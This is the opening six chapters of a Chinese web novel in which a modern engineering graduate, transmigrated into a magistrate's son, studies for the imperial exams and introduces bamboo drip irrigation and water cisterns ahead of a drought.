《震惊!工部尚书变成六部之首了》 1. 第 1 章 《震惊!工部尚书变成六部之首了》全本免费阅读 “救命啊!” “别愣了,赶紧救少爷啊!” 翠绿的湖畔有个十三四岁的少年郎满脸急切的唤着周围几个汉子下水。 肺部进了水,呛的人生疼,眼鼻嘴全被水淹住,吸不进空气,仿佛整个人被隔绝于氧气之外的痛苦与绝望淹没了孟子筝。 他真要死了吗? 回想他二十多年来璀璨的履历,最后竟然是失足溺死,这也太丢人了。 忽然不知哪儿来的力气,他竟挣上了水面片刻,但肺里吸进了太多水,依旧喘不上气,还被呛的半点劲儿也用不上,只能无助的在水里翻腾。 好在他隐隐真听见有人在岸边呼救。 应该是发现他了。 整个胸腔里全是水,明明周围都是空气,可就是呼进不来也吐出不去,身上沉重的厉害,就在他再也扑腾不下去,开始往下沉的时候,有几只手一把拖住他。 也不知道来了几个人,他感觉自己都被包围了。 得救了。 昏过去的前一秒他想。 再次醒过来,头像针扎般的刺疼,脑子里乱的厉害,不属于他的碎片记忆混杂在他记忆里,让人分不清现实与梦境。 入目的是实木的围栏,两边挂着浅色的帷幔,鼻尖萦绕着股中药味,不太好闻,孟子筝费劲的撑起身。 呛了太多水,胸腔里依旧刺痒着不舒服。 望着周围古色古香的陈设,他这是被送到什么中医家来了吗? 门外有脚步声传来,推门进来的少年上身着灰色圆领短衫,下身是宽松的棉质长裤。 这个人叫孟远。 孟子筝浑身一颤,本已经暖和的身上又开始发凉。 见鬼了,他怎么知道这个小孩的名字。 孟远一见人醒了,面色一喜,紧接着眼圈就红了,“少爷,您今后万不可再甩开奴才独自去湖边了。” 一句奴才吓得孟子筝心都吊起来了,脑子里那些片段记忆越发清楚起来。 不是……真穿啊。 孟子筝无语极了,刚拿下本校博士的毕业照,还没发朋友圈呢。 他心都在滴血,他死磕了那么久的课题啊。 天杀的,他一个纯纯工科生,要穿越也找文科的啊! 而且这到底是哪个朝代,他从未听过天齐这个朝代,这下没事儿时选修的那点儿历史课也派不上用场了。 “少爷?”孟远眼瞅着少爷的脸色越来越差,表情也着实不太高兴,有些惶恐。 回想起刚刚自己简直是在命令少爷,也不安起来。 他急忙跪下,开始掌自己的嘴,“是奴才多嘴,奴才该死!奴才实在担忧少爷才逾越了,请少爷责罚!” 虽说脑子里有了原主的记忆,可孟子筝骨子里还是纯正的现代人,讲究人人平等,孟远此刻的作为吓的他都想跟人互跪。 可如今穿越来这儿,原主作为县令独子必然不会做出这类动作,为了不崩人设他也只能忍住冲动,但他还是挣扎着从床上扑腾下了,立马抓住孟远还在扇自己耳光的手。 原本还想给人扶起来,可力气着实比不过天天干活的人,硬是没扶动。 孟子筝无奈的说:“起来吧,不关你的事,是我自己不小心。” 眼瞅着孟远愣在原地,一脸不可置信,他只能又重复了一遍。 虽说这话也完全不是原主会说出口的类型,可他自己的身体说不准都被水泡胀了,估计是穿不回去了,他也不能按照原主的性格演一辈子吧。 索性借着差点儿淹死转变一下。 好在原主跟他同名,不然叫了快三十年孟子筝突然要改名,还真是不好适应。 “父亲和母亲呢?” “老爷去上衙了还没回来,夫人在给您看药呢,奴才这就去通知夫人您醒了。”说着孟远就想往外走。 “等等。”左一句奴才右一句奴才的,听的他心里直刺挠。 “你以后唤自己名字吧。” 他也知道若是叫人家直接叫自己我什么的,孟远肯定不会听,索性叫名字,好接受一些。 “孟、孟远知道了。”虽然不知道自家少爷为什么这么要求,但还是老实应了声。 看着孟远出了门,孟子筝又躺下了。 愁人啊,回想起原主今年年初吹牛说明年院试必然考上秀才。 孟子筝一脸苦相,他吹牛就吹牛,怎么吹的是他的牛啊。 虽然他学历是很高,但他科举和高考完全是两回事儿啊!这是什么错误类比现场啊。 原身说来也是个小天才,10岁那年就接连通过县试和府试成了童生,再加上有个当县令的爹,还有个当京官的舅舅,周围人对他可谓是众星捧月。 一开始他也是在认真学习的,可13岁那年第一次院试没中,周围人全替他找好了理由,什么年纪小、发挥失常,再加上他父母的溺爱,渐渐的就沉迷于这份虚荣当中了。 上学时,老师在上面讲学,他就在脑子里幻想成了秀才,周围人会如何夸他。 想着想着还真觉得自己定能考上,直接在县学里放下话明年他定能中。 结果离考试越近,就越清楚自己的水平,知道自己肯定考不上又不想丢人就开始骗自己父母说他想先成家后立业,还说自己要找个男妻。 可哪怕天齐好男风并非什么大事儿,也没人愿意放自家男丁去入赘啊,还是嫁给男人。 原主也就是看中这一点,以为可以拖过明年这次院试。 谁知道低估了溺爱他的父母。 还真给他找了个男妻,据孟远说那是仪表堂堂、气宇轩昂,可他又不是真的喜欢男人,郁闷的他去湖边散步,甩开下人时太慌乱失足落水。 然后,他就来了。 孟子筝整个人埋在被子里,不想接受现实,直到听见外面传来急促的脚步声,才赶紧重新躺好。 “哎哟,我的筝儿啊。” 宋玉珍脸色苍白,眼角还挂着泪痕,步履匆匆的扑倒了他床前,额头头发都乱了几缕,这是原身的母亲。 “娘。”他微微低头答了声招呼。 “你这次可真是吓死我和你爹了,还难不难受啊。”宋玉珍端着碗,抚摸了下他的额头,“先把药喝了。” 见到他乖乖把药喝完,宋玉珍眼里的泪光才散了,“可是我们给你寻的那男子不满意?” 孟子筝本就脸皮薄,被这么一问,尴尬的要命,“这个,我还没见过呢,谈不上什么满意不满意,日后再看吧。” “说的也是,刚好这几日我们替你给县学那边告了假,等你身体好点儿了,你们可以一同出去走走,反正都是男子也不必讲究那些俗礼,若是没钱就找娘拿。”宋玉珍一脸了然的看了眼孟子筝,将碗交给孟远。 “那男子虽说不是什么大家子弟,却也是正经农家的小子,听说是家里实在困难,父亲病重急需银子治疗才来自荐枕席的,可见也是个有孝心的孩子。” “ 2. 第 2 章 《震惊!工部尚书变成六部之首了》全本免费阅读 两人默不作声的走到了一池塘边上。 孟子筝已经尴尬的开始数池子里的金鱼吐了几次泡泡了。 “不知道孟公子对我可还满意?” 这话听着不像是什么正经人,孟子筝猛地回头看向林淮,可对方脸上正直端正的模样不似作伪,这句话倒像是真的只是单纯的在问他对他是否满意。 孟子筝囧了一下,在脑内思考片刻,还是决定不能这样下去。 “那个林公子,听说你是因为父亲生病才来找我爹的,可嫁于男子并非小事,你今后还可能遇到各种嘲笑。” “若是你不愿意,你尽管告诉我,虽说婚姻大事都是听从父母之命,可他们向来疼我,只要我同他们好好交流,他们定能答应作废这次的事情。” 他一口气把话全部说完,憋的他气喘吁吁的,看到林淮怔愣的模样,想到些什么,赶忙补充道,“你父亲的事,你放心,我会帮忙到底的。” 尾音刚落下,面前的人就是一个双手作揖的深鞠躬,吓的孟子筝一个大后退,差点儿歪进池子里,又被林淮拽回来。 孟子筝突然被猛地回拉一不小心就摸上了林淮的胸,鼓鼓的应该有胸肌,在即将忍不住捏下去之前,他赶紧退开,好在林淮看上去并不在意。 “孟公子实在是大好人,为我考虑如此之多。请孟公子放心,我既答应了县令便必定不会反悔,虽说我并非女子,不能为你繁衍子嗣,但若是其他…….” “好了好了好了。”孟子筝赶忙打断对方的话,若是放在现代,他已经冲上去捂住对方的嘴了。 这都什么跟什么啊,他尬尬的笑了两声,“我知道了。” 这林淮说话倒是文雅的很,“不过公子这谈吐气质倒是不太像是农家子。” 林淮愣了愣,淡笑着补充,“在下同村里一位长者学过认字。” “是这样嘛。”孟子筝微微了点几下头。 尬聊了大半天,好不容易给人送出了大门,他才大松一口气,好好一帅哥,真是字字惊人啊。 孟子筝往自己屋子溜达。 路过他爹的书房时,明明隔着一层木板也能听见他爹连续的重重的叹气声。 他这天降的老爹是怎么了?孟子筝一脸疑惑,吃饭时不是还好好的吗,他又往前走了几步,发现书房门开着,他便敲敲门,“爹,我可以进来吗?” “筝儿?和林家小子聊的如何啊?” 孟父见着他,眉宇间的忧愁才散了些,嘴角也弯了起来,可依旧微微皱着眉。 为了避免后续还有别的相亲对象,孟子筝说道:“聊的挺好的。” “不过爹,你怎么在叹气,是遇上什么问题了吗?” 孟梁望向看起来沉稳了不少的儿子,莫非成家真有如此魔力?以前的筝儿虽说也乖巧,可做事浮躁,但如今的筝儿周身的气质变稳重了不少。 他担心的也并非是什么秘密,看着儿子眼里的关切便如实说道:“哎,你舅舅传来消息说北方大旱,已有三月未曾下雨,已经开始有人动起了逃难的心思,让我们多存储些粮食。” “我们这边虽说好一些,可今年雨水也不多,没有足够的水浇灌,恐怕今年的收成也不好啊。” 一提起这事,孟父又苦起张脸。 确实古代都是靠天吃饭,现代虽说也看,可人工降雨,大棚农业,滴灌技术等等都能够很大程度上缓解天气带来的问题。 滴灌技术。 孟子筝活动的脑子霎时停住了。 对啊,节约水资源,提高利用率,刚好符合现在的情况。 “筝儿?”看着儿子跟他一起发愁,孟梁惊觉跟孩子说这些做什么,白白惹人发愁。 不过孩子特意来关心他,他还是十分欣慰的。 “好了,你且回去吧。这些事交给爹,你回去好好休息便是。” 被他的天降老爹赶回屋子后,他就一直在想滴水灌溉的可行性,很快,他就发觉了在古代实行这个技术还是有点儿异想天开了。 就算所有的智能感应系统全都换成人工,但就最基础的铺设塑料管道问题,就没办法解决。 他倒是知道皇宫排水排水会采取陶制或者砖石结构,可显然是没办法搬进农田的。 以前哪考虑过这种问题啊,人工合成塑料产量高价格低,设计起来都不用太担心成本,可这个合成塑料要分解化石燃料,这个他是想都不用想了。 天然橡胶的话还得去热带地区找,总之就是管道问题就难很解决,就算可以,成本也很高。 真是一根塑料管道难倒建造师啊,孟子筝叹叹气。 瘫回了床上,正想感叹这种当死尸的日子也挺舒服的,就一个翻身猛地坐了起来。 救命啊,忘了他还有个已经吹出去的牛逼。 半年极限科考。 他走到书桌前,找了张纸先捋一遍院试的流程以及考试内容,幸好他有个语文老师的爸爸,从小送他去练书法,不然真是抓瞎了。 孟子筝拿起毛笔。 这个朝代的院试共考两场,第一场为正试考两文一诗,第二场为复试考一论一策,其中以第一场为重。 虽说这个朝代虽说同宋代一样不太重视诗赋,可也是必考项,其中最看重它的就是院试了。 还好只考一首诗,孟子筝安慰自己。 他又列出了和考试相关的书籍,将他们一一找了出来。 不就是古文嘛,他那么多外文文献,晦涩的论文都啃下来了,他就不信啃不下自己熟知的语言。 脑子里原主背书的痕迹还在,可他完全是死记硬背,应付县试、府试还行,院试就差远了。 而且那是别人学的东西,到底不是自己的,无法熟练运用。 孟子筝埋头钻进书房,比照着原文以及书房内收集的一些名家针对于书籍给出的注释,从头开始顺文章。 针对于四书和孝经的考核多填空与理解题,理解性记忆显然更符合考试要求,诗赋的话,他就只能看缘分了。 至于第二场的策论,原主之前接触的比较少,童生试并未考核,县学老师教的也十分公式化,于是乎孟子筝干脆跑回了他爹的书房,询问有没有历年生员的优秀答卷可以给他看看。 答案自然是肯定的。 在他记忆里,这里从院试到乡试、会试,判卷人员都会挑选出其中的优秀卷子张贴出来进行公示,来表现考试的公平性。 一些大型书阁也会派人进去誊抄,然后进行收录。 3. 第 3 章 《震惊!工部尚书变成六部之首了》全本免费阅读 因为时间紧迫,后续两天他娘再叫他出去陪林淮,他就以要回学院了,要抓抓功课为由拒绝了。 长得好看也不能当饭吃,但丢脸会让人吃不下饭。 反正他拒绝了这门亲事,估计还有下一门,干脆直接交给爹娘得了。 林淮也真个是实诚人,若是以后他真遇到了喜欢的女子,再同他和离吧。 接下去两天他不停地背书,卡在他回县学的头天晚上拿到了他的真题集。 第二天一早,天还是蒙蒙亮,他就自己爬起来重新回县学了。 县学为了提高学习效率,通常情况下是不允许学生每日回家的,不过请假没有那么严格,若是身体不适还是很好离开的。 县学每月放假两日,每14天放假一日,这都是固定好的。 由于他已经快月中了,所以过两日他又该放假了,原本他娘商量着干脆多给他请两日假好好休息,被他回绝了。 来到县学,这里的环境还是很不错的,内里甚至有一个小竹林,绿化做的相当好,所以虽然入夏了,温度却十分凉爽,比他以前读高中的时候还舒服。 虽说他爹并没有让山长对他好点儿,但看在他爹面子上,给他安排的还是两人间。 他的室友叫向扬,是个贫民学子,交上束脩已是十分费劲,不过成绩优秀,所以其余费用县学都给他免了,但他还是嫌少说话。 印象里,他们同住一年多,也没多少交流,再加上原主时不时冒出的小优越感,向扬就更不同他交流了。 所以他这次回来,对方点头问好后,就默默做自己的事了。 上午他也算是体验了一把古代的教学,教谕也就是老师基本上就是坐在台子上把句子翻译一遍,然后带着他们齐声朗读,说话还慢悠悠像树懒一样,能急死人。 这样效率实在太低,于是他下午就在下面做自己的事了,反正他的真题集也是做成了书本的模样,老师既不下来走动也不抽人回答问题。 要是以前遇到这种老师,下面估计都玩儿疯了,不过县学里的学子还是都很老实的,甭管学没学到东西,反正是一直在学。 估计不老实的也就他一个。 能在市面上买到的历年答卷只收录了近八次院试的前三名,不过对他来说已经够用了,三年才考一次,追溯太久官员都换代了也就没有参考价值了。 只是找规律也没必要太仔细的思考其中的作答内容,所以他看的也是有些潦草。 就这么混了两天,他就看的差不多了。 四书里,填空题《论语》考察11题,《孟子》31题,《大学》23题……理解类题目《论语》33题…… 所有都列出来后,重点就一目了然了,填空类多考察《孟子》,而理解类则偏爱《论语》,其中对《孝经》的考核次数是最少的。 诗赋主题则是多和民间杂事相关,市集、耕作甚至守孝,也可以看出朝廷对百姓生活的重视。 而一策一论,策更多考察当年朝廷遇上问题,比如灾害、官员治理、律法等。 如果三年内没有什么大事的话,则会考察历任皇帝治下,遇到过的问题,第二种的话就比较简单,因为已经有了历史作为参考。 论则多考察正面人物以及事迹,俗称吹彩虹屁。 八次考试里七次都是如此,仅五年前那次院试考察了一位评价好坏参半的历史人物,不过考生大多都依旧按照正面人物的方式去答的。 只有当年的案首,这一次是按史实作答,正反面都做答,考官判卷还是很看重事实的,并没有因为是先辈,就觉得考生不能进行批评。 明确好复习重点后,他按照优先级将书本按照顺序叠放好,甚至于考核次数十分少的那几项他直接搁一边不管了。 时间有限,要追求效益最大化,即便是生员最后一名那也是秀才,所以他只需要确保自己会做的题目能够全部完成就好,其余的就交给原主留下的那些记忆了。 然后,他就开始了背书大业。 默读实在太容易犯困了,鼻子被撞的酸痛感憋的他眼框都泛红了之后,孟子筝毅然抱着他的原文和注解跑去了那片小竹林。 县学居然还在此处安放了些石凳,估计来这儿背书的应该不止他。 不过他不太坐得住,凳子实在太硬了,坐久了屁股疼,于是他坐一会儿就站起来溜达溜达。 孟子筝跟念经似的背着书,念着念着就下意识往后一靠,身后传来沙沙声。 他正靠在竹子上。 担心自己摔了,所以察觉到不太稳之后,孟子筝就下意识重新站直,正打算回到石墩子上时遽然停下即将迈出去的脚步。 竹子? 孟子筝转过身死死盯着眼前的一片竹林。 对啊,古人用竹子做碗做杯,那它为什么不能拿来当管子,虽然耐磨耐腐性肯定跟塑料没法比,但只要能应付一两年也足够了。 而且竹子生长极快,小时候跟奶奶去摘竹笋,这次没捡完的话,下次再来就能长成一人高了,竹子高的能长到40米,寻常的毛竹,一般也在20米以上。 他主要学的还是建筑和水利工程,对滴水灌溉的了解并不深,只是以前学的杂的时候,有门课大概讲了讲,让他复刻出现代系统肯定不行,但反正知道大概原理够用就行。 还不太清楚这边的农田都长什么样,还是实地看过才行。 孟子筝看看手上刚开始背没多久的书,叹叹气,真是有的忙了,还是要跟县令爹商量商量。 考上秀才虽说重要,但是若真像舅舅预想的那样不知道要死多少人,疫情时候华国去世几万人就很难接受了,落后的古代要是难民大规模出现,不知道会乱成什么样。 这个东西必须提前准备,不在大旱来之前用上就没什么意义了。 大不了,他之后就拿出赶ddl的态度拼一把。 哎,被ddl统治的一生。 啊不,两生 手里一凉,被捏在手心的书被人抽了出去,眨眼就到了别人手里。 “哟这不是要考秀才的人嘛,怎么还在看《论语》啊,不会还没背完吧。” 面前站着一个小胖墩,也不知道哪儿学来的反派言论,正插着腰横着脸站在他面前。 “你是,于棋?”孟子筝不太确定的问道。 回想原主的记忆实在是不太熟练,跟三倍速看电视剧似的。 “没错!行不更名,坐不改姓,就是小爷我!”于棋竖着大拇指得意洋洋的指着自己,差点儿给孟子筝逗笑了。 他刻意虎着脸,“你是不是又偷看话本了?” “你,你别瞎说!我没有!” 年纪小果然经不起被炸,一脸通红还说没有,欺负小孩更开心了,“小心我告诉你爹!你偷看话本。” “你!哼还你!” 说完,于棋把书往他怀里一甩就跑走了,孟子筝也没生气,他好歹二十几岁的高龄了,放古代有些人的孩子都要成亲了。 他跑到县学门给了几文钱给守门的 4. 第 4 章 《震惊!工部尚书变成六部之首了》全本免费阅读 第二天一早,孟子筝就带着孟远去把定制的那几个木台子取回来,师傅手艺很好,做的很规整,放在地上也很稳当。 院子不够大,没办法摆的太大,只能灌水先滴着试试,几个人将竹子内灌满水,在用油纸进行封口,将其架在两个木台子上后,孟子筝就先回书房背书了。 毕竟他现在真的很缺时间,但凡让他早点儿穿!他一定不会吹出自己要考什么秀才这种话。 过了正午,孟远过来说水差不多滴完了。 孟子筝算算时间刚好,夏季天气正炎热,开始升温时开始水开始滴,正午前结束。下午降温时开始滴,太阳落山前结束。 不过具体情况还是要看竹子的种类、粗细等,不过农民肯定比他有经验的多,这个他应该不必担心。 他爹去上衙了,只能等晚上在跟他爹说了,明天就要回县学,下次回来又是半个月之后,这种事情还是要尽早解释清楚,若是真要大旱,能早一天推广出去,河水干涸的时间就能推迟一些。 啊!对啊,修水仓!忘了这个了。 水仓通俗解释也就是储存水的仓库,毕竟一味的打井开采地下水并不是长久的办法,甚至会导致地下水枯竭,提前挖水仓,储存河水或者雨水,那么这部分的水就能减少蒸发,留下来供缺水的时候用。 但原主不关心这些杂事,所以他也不知道这个时代有没有水仓出现。 具体等晚上一起问县令爹吧,他肯定能知道。 等到了晚上一家人坐在一起吃晚饭后,孟梁正准备去书房,却突然被儿子叫住了。 他这两天似乎在做什么东西,本来想着是孩子大了有自己喜欢的东西了,就放他自己玩儿,不过现在看来是遇上什么问题了,看来是要找自己帮忙啊。 孟梁脸上带笑,心里缺雀跃的很。 “爹,我们去院子里说吧。”毕竟实物在院子里,还是边做边讲解看起来比较靠谱。 孟母也跟着一同来了 几人来到院子,孟远已经给竹子灌好了水,等在这处了。 “筝儿这是什么啊?” 孟梁还未说话,宋玉珍先问了出来。 “这个我叫他滴管工具。”孟子筝走到竹管旁,将它微微抬起,展示竹管下方正在滴水的小孔。 “滴灌又是何物啊?”孟梁跟着凑近问道。 孟子筝清清嗓子,他下午就已经想好要如何解释了,“爹,我们在烈日下,给土里倒上一盆水,其中有一部分进入了更深层的地下河,也就是我们打井后,水井里的水。” “还有一部分呢,就是被晒干,就像洗过的衣服,放在阳光下晒干一样。”他实在是没办法解释蒸发现象、水分子逃离之类的东西,只能往简单了说。 “这些和你说的滴灌有什么关系吗?” “当然有啦。对照到我们耕作上,我们每天给麦子、水稻等等作物浇的水也是一样,其中大部分都被晒干或者沉入地下了,只有小部分是真正被植物所吸收的。” 孟梁看着滴的非常缓慢的水,眼睛骤然一亮,言语间也变得激动起来,“你的意思是说,用这个方法浇水,可以少用些水,让那些水不被晒干和下沉对吗?” 孟子筝佩服的看了眼孟梁,不愧是当官的,这个敏锐度,“没错,不过不只是少用些水,而且至少能节约一半以上的水。”其实他还是说少了,50%放在现代就是最差的那一档,不过这个年代没有智能监测系统,不能实时对植物的需水量进行监测,还是往少了报比较稳妥。 看着孟父激动的开始发红的脸,孟子筝微微一笑,不藏功与名,继续说道:“竹子长得很快,打孔也是只要掌握了技术,自己在家就可以打,唯一难点的就是这个木台了,不过交给当地的木匠,也能轻松解决,整套下来,最多麻烦点儿,但是并不贵。” “而且各个地方可以根据具体作物等情况,自行调整这个孔的大小。” 说完优点还是要把缺点也说清楚,“不过这种方式,对于稻子这类对水需求比较高的作物而言,就用不了。并且随着时间推移,竹子也可能会出现开裂之类的现象。” “而且对于极度缺水地区,这点儿水,就真是不够用了,还是先给人喝吧。”这种情况,就算把现代技术搬过来都百搭。 “这些都是小问题!”孟梁大手一挥,嘴巴上的胡子都要翘起来了。 孟梁将嘴上的胡子捋整齐,欣慰地说:“没想到,筝儿这般小的年纪,就已经有了一颗为国为民的心啊,真是帮了我一大忙。” 孟子筝看着孟梁脸激动的通红还强壮镇定的模样,有些想笑,被他憋了回去。 这老爹也挺好玩儿了,都这么激动了,还是不忘端着父亲的靠谱模样,跟他倒是有些像。 不过他既然知道这个技术,当然没有藏着掖着的道理,更何况都知道有不少人面临背离家乡,四处逃难的日子,正常人都没办法无动于衷吧。 虽然他装了一波,确实也蛮开心就是了。 孟子筝突然想起古代皇帝动不动就砍头的电视剧,一个激灵,赶紧提醒孟梁,“爹,我没时间详细试试。” “但你可记得要先试试,去农田里找块种着东西的地,半月不浇水,并按照村民们的经验,将平时浇水的水量减少一半,按照这个方法去进行灌溉,确定一下是不是可行的。” “实践才是检验真理的唯一标准。”孟子筝一个没刹住,下意识把这句话跟出来了。 孟梁一愣,随机猛拍孟子筝的后背。 筝儿落了个水,怎么好似还变聪明了,说出的话都如此精练有理,“好好好!实践是检验真理的唯一标准!我儿年纪轻轻便能说出如此有道理的话,以后必然大有出息啊。” 孟子筝赶忙找补,“这个是我从书上看来的,不是我自己想的。” “筝儿看的是何书啊?”孟梁一脸骄傲的问道。 “额,这个,这个我忘记了,反正是某一本书。”孟子筝尴尬的脚趾都要从布鞋里钻出来了,什么书,我总不能说是毛主席思想概论吧。 “哈哈哈,我就知道,我儿还是谦虚了啊,这话若是有谁在书中提出了,必然早已名杨万里了,我怎会不知道啊。” “我们去书房细细讨论吧。”说完这话孟梁给了懂他的表情,就揽着宋玉珍先往回走了。 “我就知道我儿是有大出息的。” “是是是,夫人说的对,子筝就是与那京城才 5. 第 5 章 《震惊!工部尚书变成六部之首了》全本免费阅读 明早还要去上学,孟子筝收收思绪正闭上眼睛准备睡觉,下一秒又猛地睁开眼睛。 忘了问水仓了! 孟子筝将头蒙进被子里在床上打了个滚,闷声叫唤了两声,果然人不能高兴的太早。 有水仓还好,要是没有水仓那明早说肯定来不及,可要是现在去找他们,要是撞见什么多尴尬啊。 这个年代的人生孩子也挺早的,更何况他才15,孟父孟母也不过三十三四的年纪。 纠结了一会儿,他决定远远看上一眼,若是灯已经熄了,他就不去了,明早问问有没有,若是没有他就将相关内容写在纸上再送回来。 打定主意,孟子筝就快步往外走,再耽误下去说不准就真睡了。 到达孟父孟母房间对面时,灯果然还亮着,他靠近了些,竖起耳朵没听见什么他不该听的动静,才放心的敲敲门。 开门的是孟母,“筝儿?这么晚了,怎么还不睡?明日不是还要上学。” “我忘了件事儿,想再问问,母亲你知道水仓吗?就是地上挖个洞,里面用来储存水。” 宋玉珍摇摇头,她没听过这个东西,只能转身问孟梁,他正洗完澡。 方才孟子筝说的话,他也听见了,“你说的这个东西,以前也有农民试过,他们在靠近田间的地方挖坑,往里灌水,方便浇水,可要不了多久,哪里面的水就没了,反而白费力气。” “后来家里的田地靠近水流的,就挖渠。旱地就照例挑水。” 既不管蒸发也不管下漏,这水不没才怪。 “爹,我说的这个是用来储水的,不是为了一时方便给农田浇水用的,是为了河流枯竭之后用的。” “可若要水无法长时间留下来啊。”孟梁扶着孟子筝的背,推着他进屋坐下。 “爹,我们的房子修起来都能不漏雨水,那水仓为什么不可以?” “有条件的,可以在底层铺一层实木板,然后将土、石灰、沙搅拌夯打后,等他硬化后再倒水进去,就能减少这些水往下的流失。” 不是不想做水泥,而是哪怕最简易的水泥配方也需要用到铁矿。 大齐对这方面的管控很严格,他可不敢瞎造,不是很想掉脑袋,所以用来建筑的传统三合土是最好的选择了,也不必加糯米什么的,虽然效果会差一些,但是本来就是为了让人不饿肚子,用糯米就本末倒置了,农民也不会愿意。 “然后在外面盖上一层木板或者油布、油纸之类的,油布油纸是最好的,油面冲下,可以最大程度减少水的流失。” 孟子筝想着要怎么解释这件事儿,最后还是挑了个最生活化的现象,“这个就像我们蒸煮东西,会在外面盖个盖子,那个盖子底下会出现很多小水珠,他们最后又会滴回锅里一样。” 短短一个晚上,孟梁连着惊喜了两次,想来儿子这些方法都是从身边这些如此微小的事情中发现的,自己比他大这么多岁,居然从未在意过,实在粗心。 不过儿子出息就够了。 孟梁伸手给自己倒了杯茶,一饮而尽,连着喝了几杯才停手。舒服太舒服了!若不是这么晚了,喝酒的话说不准玉珍会不让自己上床,他一定要搞点儿下酒菜喝上几杯。 明明喝的茶,孟父却像喝酒上脸了似的脸红脖子粗的,平时儒雅的气质都跟着豪放了不少。 “好,为父知道了,你且安心休息。我定会按照你说的布置下去,若是真有用,我就写信给你舅舅,替你在皇上面前请上一功。” 孟父说着还冲着虚空双手作揖。 “那我就等爹的好消息了。” 补上想说的话,孟子筝回去躺下便直接睡过去了。 第二天和鸡一同起床回的县学,他还得继续完成他庞大的背书事业。 到了上午,张家村的村民们都出来干活了,几个妇人蹲在河边,一边聊着村内的杂事一边洗着衣服,手中的棒槌在撒了草木灰的衣服上不停敲打。 “诶,你们看,有马车诶?”张喜擦擦头上的汗,指着不远处摇摇晃晃进到村子里的马车。 这年头马车可是个稀罕物,也去县里的时候能遇到,他们村里连有牛车的人家都只有两户,每次到犁地的时候,可抢手嘞。 “也不知道是不是谁家有了个富贵亲戚。”陈丽想看热闹的心又忍不住升起了,“咱们去看看热闹吧。”她撺掇着另外几个人。 张喜犹豫了一下还是说道:“算了吧,别人亲戚跟我们又没关系,万一人家要送点儿什么,我们在旁边要惹得人不高兴的。” 张喜说的她自然是知道,不过想到说不定有便宜可占,还是想去瞧瞧,她虎下脸,“这有什么的!我们不过是去看看情况,怎么就惹人生气了?” 另外几人也附和着。 张喜脸色也变得有些难看。 几人望见周围不少人都往哪个方向去了,见张喜还愣在原地,有些等不及了,几人连拖带拉的将人拖了过去。 远远就听见有人在喊着县令大人,陈丽开始后悔了,居然是县令。 该不是谁家惹了事,县令大人来找麻烦的吧,可那边聊的实在火热,她还是没忍住凑了过去。 “县令大人,您别开玩笑了,地里种的这些可是我们留着交税和卖钱了,哪有这般霍霍的。” 周围围着的人纷纷称是。 “地里种的东西,我们会按照正常价格买下来的。” “可这简直是浪费粮食啊,今年雨水少,收成本就不好。”说的话人见到县令大人还在说,都有些急眼了,他家里地本就不多,咋可能让人乱来。 陈丽在外围站了几息,没弄清楚什么事儿,就寻了个相熟的人,“诶,这是说什么呢?” “哎,还不是县令大人,也不知道是哪儿听了个法子说是要把浇水量减少一半给大家省水,说是寻块地想试试,这不是瞎闹吗?” “哎哟,是啊。我还以为什么事儿呢,我衣服没洗完呢我先走了啊。”说完陈丽就端着盆快步离开了,这县令说的好听,万一没人愿意说不准要强买强卖了,这官威一压下来,谁受得住啊 6. 第 6 章 《震惊!工部尚书变成六部之首了》全本免费阅读 “主子。” “嗯。县令一大早是去干嘛了?”林淮清闻着杯里的清茶,不急不慢的问道。 “属下一早就跟过去了,孟县令要跟村民借地,说是找到了一种新的可以省水的浇地方法,要试用一下。”一个穿着黑色长袍,腰间绑一腰带,上面挂着把佩刀的人恭敬的说道。 但凡当了官自然不是什么傻子,孟梁自是敢提,必然是有一定把握的,不过村民可不一定买账。 现下私铸兵器一事还没有线索,若是孟梁这事儿真做成功,对百姓倒不失为一件好事儿,“村民同意了?” “有一户人家同意了。属下回来的时候,他们似乎已经开始了,还砍了竹子,不知道作何用处。另外安插在孟县令府上的探子传来消息说,这个东西是县令的儿子,孟子筝少爷提出来的。” “孟子筝?”林淮清将手中的茶一饮而尽。 他放下手中的杯子,嘴角浮现出笑意,“去买点儿吃食,这么久没见了,我们去探望探望孟公子。” 这边的孟子筝回到县学后,也没回寝室,直接去上课了。 今天老师竟然没照着书念,而是跟他们讲了讲最近朝廷的局势,几个藩王都不太老实,让他们如果遇到这类策论题目一定要小心作答。 孟子筝提起精神认真听了一节课,发现这老师的学识还是很厉害的,只是教学方式过于死板了,不过他就一个小学生,说话也没人听,便也没想着要去跟人提提建议。 不过资源还是可以利用起来的,孟子筝想着自己在背书过程中遇到的那些翻了其他注释也未曾理解的句子,决定晚上去问问这先生。 到了下学,孟子筝收好东西几步就跟上了一下课就离开的先生。 这先生名叫纪山,听说20岁就考中了秀才,没想到爹娘接连去世,算上守孝,再次考试就已28了,本也年轻,可不知为何始终没能中举,便放弃了回来做了县学中的一位先生。 “纪老师。”孟子筝喊了一声,跟了上去,走在了纪山身侧靠后的位置。 纪山诧异的看了孟子筝一眼,也未做声,只是停住了脚步看看对方要说什么。 “纪老师,我这几日遇到了些问题可以问问你吗?”孟子筝一脸乖巧,还特意把眼睛睁大些来卖乖。 眼见着纪山的眼神越来越疑惑,好在最后还是微微点头,哑着嗓子回应,“跟我来吧。” 孟子筝松了口气,看刚刚那眼神还以为纪老师不会同意了呢。 他一路跟着纪山穿过小竹林,来到了一片非常僻静的区域,县学的教谕大多都是回县城的家里住的,在县学内住的屈指可数,这片区域也就更显得安静,甚至因为人少还有几分荒凉。 “进来吧。”纪山推开门。 这间房子朝向不太好,现在还是黄昏,可屋内这么看上去,几乎没有光照,孟子筝看着纪山熟练的给桌子前的油灯点上。 顿时,屋内就亮起了蒙蒙的黄色灯光。 孟子筝随着纪山走进去,纪山此时已经坐在了他的椅子上,桌子上零散的放着几本书,书的边角已经微卷,而他的身后是一整面墙的柜子,上面放着各式书籍。 “什么问题?” 孟子筝还盯着满墙的书的书看得入神,被纪山的问句吓醒了,他小幅度的打了个哆嗦,急忙掩盖着从书箱里将自己想问的书拿出来。 纪山接过去看了看,确实都是非常晦涩难懂的地方,数量倒是不少,“就这些吗?” “嗯嗯,就这些。麻烦纪老师了。”孟子筝站直恭恭敬敬的向纪山行礼。 见他这么说,纪山便没再多说什么,只是将他指出的这几个问题一一讲解了一番。 依旧是那个慢悠悠的语气。 孟子筝想着,这老师估计是p人,好想开网盘2倍速啊。 不过讲得慢好处还是显而易见的,对方的讲解,他每句话都能细细领悟思考,不必像以前那样一个视频还要看第二遍第三遍。 难不成纪老师是因为想让我们都听懂故意讲这么慢的?可课上内容大多不难啊。 